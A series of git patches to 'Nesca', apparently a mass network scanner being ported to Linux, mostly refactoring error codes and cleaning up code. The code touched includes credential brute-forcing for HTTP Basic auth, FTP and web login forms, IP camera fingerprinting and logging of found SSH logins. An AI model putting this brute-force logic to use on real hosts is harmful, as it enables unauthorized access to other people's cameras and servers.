buff, 10)); +// strcat(start, "."); +// strcat(start, itoa(octet[3]&mOctet[3], buff, 10)); + + unsigned char tempRes0 = 0; + unsigned char tempRes1 = 0; + unsigned char tempRes2 = 0; + unsigned char tempRes3 = 0; + + if(mOctet[0] == 255) tempRes0 = octet[0]; + else tempRes0 = octet[0]|~mOctet[0]; + if(mOctet[1] == 255) tempRes1 = octet[1]; + else tempRes1 = octet[1]|~mOctet[1]; + if(mOctet[2] == 255) tempRes2 = octet[2]; + else tempRes2 = octet[2]|~mOctet[2]; + if(mOctet[3] == 255) tempRes3 = octet[3]; + else tempRes3 = octet[3]|~mOctet[3]; + + sprintf(end, "%d.%d.%d.%d", tempRes0, + tempRes1, + tempRes2, + tempRes3); + +// if(mOctet[0] == 255) tempRes = octet[0]; +// else tempRes = octet[0]|~mOctet[0]; +// strcat(end, itoa(tempRes, buff, 10)); +// strcat(end, "."); +// if(mOctet[1] == 255) tempRes = octet[1]; +// else tempRes = octet[1]|~mOctet[1]; +// strcat(end, itoa(tempRes, buff, 10)); +// strcat(end, "."); +// if(mOctet[2] == 255) tempRes = octet[2]; +// else tempRes = octet[2]|~mOctet[2]; +// strcat(end, itoa(tempRes, buff, 10)); +// strcat(end, "."); +// if(mOctet[3] == 255) tempRes = octet[3]; +// else tempRes = octet[3]|~mOctet[3]; +// strcat(end, itoa(tempRes, buff, 10)); strcpy(result, start); strcat(result, "-"); strcat(result, end); return result; -}; +} + int ParseArgs(int argc, char *argv[]) { int s = 0; @@ -2115,7 +2183,7 @@ int ParseArgs(int argc, char *argv[]) delete[] argString; return 0; -}; +} char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', @@ -2130,7 +2198,8 @@ int _getPos(char l) if(l == charAll[i]) return i; }; return -1; -}; +} + int _getChunkCount(char *data) { int firstPos = _getPos(data[1]); @@ -2227,7 +2296,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) Sleep(gThreadDelay); }; -}; +} int startScan(char* args) { @@ -2817,7 +2886,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); stt->doEmitionChangeStatus("Idle"); stt->doEmitionKillSttThread(); -}; +} void nCleanup(){ if(loginLst != NULL) @@ -2878,4 +2947,4 @@ void nCleanup(){ delete []starterIP; starterIP = NULL; }; -} \ No newline at end of file +} From 5b34ea3d544d811acdb52f0f0b710e38c3014bb4 Mon Sep 17 00:00:00 2001 From: cora48 Date: Thu, 26 Feb 2015 17:23:03 +0300 Subject: [PATCH 14/66] eclipse, cp-ref, etc --- .CheckKey_Th.cpp.swo | Bin 16384 -> 16384 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/.CheckKey_Th.cpp.swo b/.CheckKey_Th.cpp.swo index ddfeeb127b8007898afb74ca4e69acbfd6c350ef..206ee863bf469f8e39cee95a633834fe693bc1ef 100644 GIT binary patch delta 410 zcmZ|JF%Q8&6bJBkilh-~1qs_RP=kcoRAaw@NGD0HhK5mekeH=rqd`a{U3?FNO=1!Y zAAsPmQrCgum%O|G-Fwe*nB%ZbO=YH6S9ePCE)k7mM5Gd#UW&Ka$chu4akYm9%wPiV zX9m0KA%>|BdfHf>(4i;459wEBH8Md$h3k+z24o^lBJ=nC6kz{%3GL5^u z$P=hZmhEoezsp5LlnIi7-Q(4I1JAyplKl~iRCLLTGM5VfdDp=fO4>ht_VA~PNuiB8 TqF4L>-oXct7j@>HO8NW?{*_ZB delta 625 zcma*j-AWrl6bJCLew7t!BPgO*CtsRCLN`{>61T+~(IsMxYY2E#7c&V9CehhRK}$(| zgtC``-sl4eLFh%>m+-!q()s}HjkNwH6bc$}nBOoA^FMQ#R!eKOv~we%H9D!l<+GPJ5xgJZrCo$7pwTH2Vd=WQk3T7`v_b(s-mHvReONF+_+ z1L;(%4ogvS>ov}AuNJJgOHw#wb_e-^=!E|_`lDx+W}0ZRJ9uqnDMR{u(#5_f*e%CA zB{5@Fuae-r$wOtZ^!h{l5aD>ME<8%d% Date: Fri, 27 Feb 2015 16:55:35 +0300 Subject: [PATCH 15/66] Finally! x64 linux-nesca emerging! --- .gitignore | 3 + CheckKey_Th.cpp | 3 +- CheckProxy_Th.cpp | 1 - DrawerTh_VoiceScanner.cpp | 4 +- README.md | 9 + connector.cpp | 81 ++++--- externData.h | 7 + externFunctions.h | 4 +- finder.cpp | 456 +++++++++++++++++++++----------------- mainResources.h | 37 +++- nesca.pro | 12 +- nesca_3.cpp | 377 +++++++++++++++++++------------ nesca_3.h | 4 +- nesca_3.qrc | 1 - nesca_3.ui | 2 + nesca_startModule.cpp | 121 +++++----- oIRC_Th.cpp | 143 ++++++------ 17 files changed, 720 insertions(+), 545 deletions(-) create mode 100644 .gitignore create mode 100644 README.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1651965 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +*.swo +*.swp +debugData.txt diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index d0d0b4b..35b7fd7 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -95,8 +95,7 @@ int KeyCheckerMain() return -1; }; - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); + ZeroMemory(msg, sizeof(msg)); test = recv(sock, msg, sizeof(msg), 0); char buff[512] = {0}; diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp index c87746d..403075a 100644 --- a/CheckProxy_Th.cpp +++ b/CheckProxy_Th.cpp @@ -29,7 +29,6 @@ void CheckProxyLogic() strcpy(ircProxy, str2.toUtf8().data()); strcpy(ircProxyPort, str1.toUtf8().data()); - int err, yes = 1; SOCKET pSock; char precvBuff[2048] = {0}; sockaddr_in addr; diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp index dea5945..a668ed8 100644 --- a/DrawerTh_VoiceScanner.cpp +++ b/DrawerTh_VoiceScanner.cpp @@ -12,7 +12,7 @@ void DrawerTh_VoiceScanner::doEmitDrawGrid(int factor) void DrawerTh_VoiceScanner::doEmitDrawTextPlacers() { emit vsTh->sDrawTextPlacers(); -}; +} void makeVoiceLine(int Al, int An, int Bd, int Sp, int Lo, int var, int Ovl, int WF, int SSH) { @@ -132,4 +132,4 @@ void DrawerTh_VoiceScanner::run() ssh = 0; }; }; -}; \ No newline at end of file +}; diff --git a/README.md b/README.md new file mode 100644 index 0000000..5afc3b1 --- /dev/null +++ b/README.md @@ -0,0 +1,9 @@ +Nesca для Linux. Протестировано на Fedora 20 и РАБОТАЕТ(!) +
+``` + +Linux 3.18.6-100.fc20.x86_64 #1 SMP Fri Feb 6 22:55:01 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux +``` +1. libssh +2. openssl +3. весь qt-фреймворк (лол) diff --git a/connector.cpp b/connector.cpp index f42c6fa..e43fbd5 100644 --- a/connector.cpp +++ b/connector.cpp @@ -548,14 +548,12 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) char tPass[256] = {0}; char curLogin[256] = {0}; char curPass[256] = {0}; - int cCode; - int cErrCode; + int cCode; int dataSz = 0; char request[REQUEST_MAX_SIZE] = {0}; char recvBuff[4096] = {0}; char recvBuff2[512] = {0}; - char pass[256] = {0}; - int WSAErr; + char pass[256] = {0}; char localBuff[4096] = {0}; strcpy(localBuff, headerMsg); @@ -674,11 +672,11 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if(cCode == SOCKET_ERROR) { int errorCode = WSAGetLastError(); - if(errorCode == 10038) { + if(errorCode == ENOTSOCK) { - while(errorCode == 10038) + while(errorCode == ENOTSOCK) { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]"); + if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); CSSOCKET(sock); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); @@ -688,7 +686,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) CSSOCKET(sock); - if(errorCode != 10060) + if(errorCode != ETIMEDOUT) { stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); }; @@ -920,9 +918,9 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - while(WSAGetLastError() == 10038) + while(WSAGetLastError() == ENOTSOCK) { - if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]"); + if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); CSSOCKET(sockFTP); sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); @@ -1248,14 +1246,17 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) ZeroMemory(recvBuff, sizeof(recvBuff)); } else - { - char err[128] = {0}; - + { int WSAerr; if(connectionResult == -1) WSAerr = WSAGetLastError(); - else WSAerr = 10060; + else WSAerr = ETIMEDOUT; - if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) + if(gThreads > 1 + && WSAerr != ETIMEDOUT/*Timeout*/ + && WSAerr != ENOBUFS/*POOLOVERFLOW*/ + && WSAerr != ECONNREFUSED/*WSAECONNREFUSED*/ + && WSAerr != ECONNRESET/*WSAECONNRESET*/ + && WSAerr != 0) { stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); }; @@ -1424,7 +1425,7 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) CSTR->size = 0; return 0; }; - }; + } else return -1; } else { @@ -1522,9 +1523,8 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C if(iResult == SOCKET_ERROR) { - iError = WSAGetLastError(); - - if(iError == 10035) + iError = WSAGetLastError(); + if(iError == EINPROGRESS) { fd_set read_fs; FD_ZERO(&read_fs); @@ -1635,13 +1635,13 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C else { ++offlines; - if(iError == 10055) + if(iError == ENOBUFS) { - stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); + stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); } - else if(iError == 10049) + else if(iError == EADDRNOTAVAIL) { - stt->doEmitionRedFoundData("[10049] " + QString(ip) + + stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) + ":" + QString::number(port) + " - " + QString::number(iError)); } @@ -1703,12 +1703,10 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV char b[16] = {0}; char request[2048] = {0}; - char argData[256] = {0}; - char recvBuffer[65536] = {0}; + char argData[256] = {0}; Connector con; - conSTR CSTR; - int cRes; + conSTR CSTR; int firstCycle = 0; if(strstri(methodVal, "get") != NULL) { @@ -1720,8 +1718,7 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV { if(globalScanFlag == false) break; CSTR.lowerBuff = NULL; - CSTR.size = 0; - cRes = 0; + CSTR.size = 0; strcpy(request, "GET "); strcat(request, actionVal); @@ -1748,8 +1745,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close"); strcat(request, "\r\n\r\n"); - if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); - else cRes = con._EstablishConnection(ip, port, request, &CSTR); + if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR); + else con._EstablishConnection(ip, port, request, &CSTR); if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); ++passCounter; @@ -1847,8 +1844,7 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV { if(globalScanFlag == false) break; CSTR.lowerBuff = NULL; - CSTR.size = 0; - cRes = 0; + CSTR.size = 0; strcpy(argData, userVal); strcat(argData, "="); @@ -1882,8 +1878,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); ++passCounter; - if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); - else cRes = con._EstablishConnection(ip, port, request, &CSTR); + if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR); + else con._EstablishConnection(ip, port, request, &CSTR); if(CSTR.lowerBuff != NULL) { @@ -2151,7 +2147,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int }; #else if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else if(host=gethostbyname(ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else { return -1; @@ -2161,18 +2157,17 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int cErrCode = WSAGetLastError(); - while(cErrCode == 10038) + while(cErrCode == ENOTSOCK) { CSSOCKET(sock); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); cErrCode = WSAGetLastError(); - if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); }; if(cCode != SOCKET_ERROR) - { - int x = 1; + { Activity += strlen(request); if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) @@ -2637,6 +2632,7 @@ int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) { return _EstablishSSHConnection(ip, port, CSTR, banner); }; + return -1; } int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) @@ -2654,7 +2650,6 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) CSTR.lowerBuff = NULL; CSTR.size = 0; - int strFlag = 0; strcpy(mes, buff1); strcat(mes, ip); int port = atoi(portC); @@ -2688,6 +2683,6 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) { delete []CSTR.lowerBuff; CSTR.lowerBuff = NULL; - }; - strFlag = 1; + }; + return 0; } diff --git a/externData.h b/externData.h index dc01889..0d235fe 100644 --- a/externData.h +++ b/externData.h @@ -4,6 +4,13 @@ #define IRC_CHAN "iskopasi_lab03" #define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1; +#ifndef CP_UTF8 +#define CP_UTF8 65001 +#endif +#ifndef CP_ACP +#define CP_ACP 0 +#endif + extern QJsonArray *jsonArr; extern unsigned long long gTargetsOverall, Activity; diff --git a/externFunctions.h b/externFunctions.h index 60eaab1..dcb722b 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -1,7 +1,7 @@ extern std::string toLowerStr(const char *str); -extern int recvS(int lSock, char *recvBuffT, int len, int mode); +extern int recvS(int lSock, char *recvBuffT, int len); extern int sendS(int lSock, char *msg, int len, int mode); -extern void UserNickInit(SOCKET lSock); +extern void UserNickInit(); extern void GetNicks(); extern int startScan(char* argv); extern void BConInc(); diff --git a/finder.cpp b/finder.cpp index 393edb8..aebe42c 100644 --- a/finder.cpp +++ b/finder.cpp @@ -4,7 +4,7 @@ #include "externFunctions.h" #include "externData.h" -char* __cdecl strstri(char *_Str, const char *_SubStr) +char* strstri(char *_Str, const char *_SubStr) { if(_Str != NULL) { @@ -15,7 +15,8 @@ char* __cdecl strstri(char *_Str, const char *_SubStr) if(offset < 0) return NULL; else return (char*)(_Str + offset); }; -}; + return 0; +} bool gGlobalTrackLocked = false; char *_findFirst(char *str, char *delim) @@ -31,7 +32,8 @@ char *_findFirst(char *str, char *delim) }; return NULL; -}; +} + char *_findLast(char *str, char *delim) { int sz = strlen(str); @@ -46,7 +48,8 @@ char *_findLast(char *str, char *delim) }; return (char *)(str + savedPosition); -}; +} + char *GetCodePage(char *str) { char cdpg[32] = {0}; @@ -72,6 +75,7 @@ char *GetCodePage(char *str) else { stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + return "NULL"; }; } else if(strstri((char *)(temp2 + strlen("doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + return "NULL"; } } else @@ -160,13 +167,15 @@ char *GetCodePage(char *str) else { stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + return "NULL"; }; } else { return "NULL"; }; -}; +} + int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) { if(strlen(buffcpy) == 0) return -1; @@ -202,7 +211,8 @@ int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) ZeroMemory(negWord, 256); }; return 0; -}; +} + int globalSearchPrnt(char *buffcpy) { if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL @@ -224,7 +234,7 @@ int globalSearchPrnt(char *buffcpy) }; return -1; }; -}; +} // 500 < 1600 Lexems lxf; @@ -276,7 +286,7 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) - || strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam + || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL @@ -314,7 +324,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) if(f) return 7; return 0; -}; +} + //> 1600 int _mainFinderSecond(char *buffcpy, int port, char *ip) { @@ -360,7 +371,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) - || strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam + || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam @@ -379,7 +390,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL - && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX + && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || @@ -401,7 +412,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) if(globalSearchPrnt(buffcpy) == -1) return -1; if(strstr(buffcpy, "
#recvSpan{display: inline-block;width: 150px;} #hostSpan{display: inline-block;width: 200px;}body { background-color: #141414; font-family: monospace; font-size:95%;} #ipd{background:black;width:100%;white-space:nowrap;overflow-x:none;display:inline-block;}#ipd:hover{color: #909090;background:#202020;}#tit{text-align:center;border:1px solid #5d5d5d;}a{color: gray;text-decoration: underline;} a:focus{ outline-style: dashed;outline-width:1px; outline-color: red;}"}; char topBuff[1024] = {"

"}; -void fputsf(char *ip, char *port, char *text, int flag, char *msg) +void fputsf(char *text, int flag, char *msg) { - FILE *file = NULL; - bool firstTimeYeah = false; + FILE *file = NULL; + #pragma region FileExistenceCheck if(flag == 0 || flag == 15 || flag == -10) { @@ -566,7 +579,7 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) { stt->doEmitionRedFoundData("[WUT!?] Unknown flag [FLAG: " + QString::number(flag) + "]"); }; -#pragma endregion + if(file != NULL) { time_t rtime; @@ -687,7 +700,7 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) fputs (topBuff, file); }; -#pragma endregion + int innerCounter = 0; while(fOpened) { @@ -710,7 +723,8 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) { stt->doEmitionRedFoundData("Cannot open file [FLAG: " + QString::number(flag) + "]"); }; -}; +} + void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *hl, char *cp) { char log[4096] = {0}, msg[512] = {0}; @@ -759,9 +773,8 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h strcat(msg, ""); resMes += " : " + strf.toHtmlEscaped() + ""; }; -#pragma region QTGUI_Area + stt->doEmitionFoundData(resMes); -#pragma endregion strcpy(log, ""); @@ -827,10 +840,11 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h }; strcat(log, "\n"); - fputsf (ip, port, log, flag, msg); + fputsf (log, flag, msg); ZeroMemory(msg, strlen(msg)); -}; +} + void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) { char log[512] = {0}; @@ -860,11 +874,12 @@ void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, strcat(log, finalstr); strcat(log, ""); strcat(log, "\n"); -#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); -#pragma endregion - fputsf (ip, port, log , flag, "Basic Authorization"); -}; + + fputsf (log , flag, "Basic Authorization"); +} + void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) { char log[512] = {0}; @@ -888,11 +903,12 @@ void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, strcat(log, pass); strcat(log, ""); strcat(log, "\n"); -#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); -#pragma endregion - fputsf (ip, port, log , flag, "Web Form"); -}; + + fputsf (log , flag, "Web Form"); +} + void _getFormVal(char *data, char *result, char *key, char *path = NULL) { char parVal[256] = {0}; @@ -907,6 +923,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL) { strncpy(parVal, data, 256); }; + int sz = 0; char parVal2[256] = {0}; @@ -923,7 +940,9 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL) }; }; }; + char *keyResult1 = strstri(parVal, key); + if(keyResult1 != NULL) { char *pkeyResult2 = _findFirst(keyResult1, " >"); @@ -1018,7 +1037,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL) stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field."); }; }; -}; +} static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"}; std::vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); @@ -1045,7 +1064,8 @@ char *_getAttribute(char *str, char *attrib) else return ""; } else return ""; -}; +} + void _getInputVal(std::vector inputVec, char *buff, char *key) { char *pos = NULL; @@ -1084,7 +1104,8 @@ void _getInputVal(std::vector inputVec, char *buff, char *key) }; }; }; -}; +} + void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) { char cookie[1024] = {0}; @@ -1256,9 +1277,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path }; }; isActive = 0; -}; +} -void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *tclass, char *cp, int recd, char *SPEC) +void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC) { lopaStr lps; ZeroMemory(lps.login, sizeof(lps.login)); @@ -1275,8 +1296,9 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); }; -}; -void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data) +} + +void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd, char *data) { isActive = 1; lopaStr lps; @@ -1299,7 +1321,8 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int }; ZeroMemory(temp, sizeof(temp)); -}; +} + const char *GetTitle(char* str) { char delimiterT[] = ""; @@ -1413,12 +1436,12 @@ const char *GetTitle(char* str) }; return finalstr; -}; +} + void _saveSSH(char *ip, int port, int recd, char *buffcpy) { if(buffcpy != NULL) - { - char b[16] = {0}; + { char log[2048] = {0}; char logEmit[2048] = {0}; char goodStr[256] = {0}; @@ -1433,7 +1456,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) char portString[16] = {0}; sprintf(portString, "%d", port); sprintf(log, "[SSH] <font color=\"#00a8ff\"> %s:%d </font><font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\"> %s </font>", goodStr, port, banner); - sprintf(log, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port, banner); + sprintf(logEmit, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port); // strcpy(log, "[SSH] <font color=\"#00a8ff\">"); // strcat(log, goodStr); @@ -1453,7 +1476,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) // strcat(logEmit, itoa(port, b, 10)); // strcat(logEmit, "</span>"); - fputsf (ip, portString, log, -22, "SSH"); + fputsf (log, -22, "SSH"); char loginSSH[128] = {0}; char passSSH[128] = {0}; char *ptrl1 = strstr(buffcpy, ":"); @@ -1462,7 +1485,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) char *ptrl2 = strstr(buffcpy, "@"); lpsz = ptrl2 - ptrl1; strncpy(passSSH, ptrl1 + 1, lpsz); - fillGlobalLogData(ip, "", itoa(port, b, 10), std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); + fillGlobalLogData(ip, "", portString, std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); } else @@ -1474,11 +1497,10 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) { stt->doEmitionRedFoundData("[_saveSSH] Empty buffer! [" + QString(ip) + ":" + QString::number(port) + "]"); }; -}; +} + int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) { - char b[16] = {0}; - if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) { @@ -1564,260 +1586,272 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char 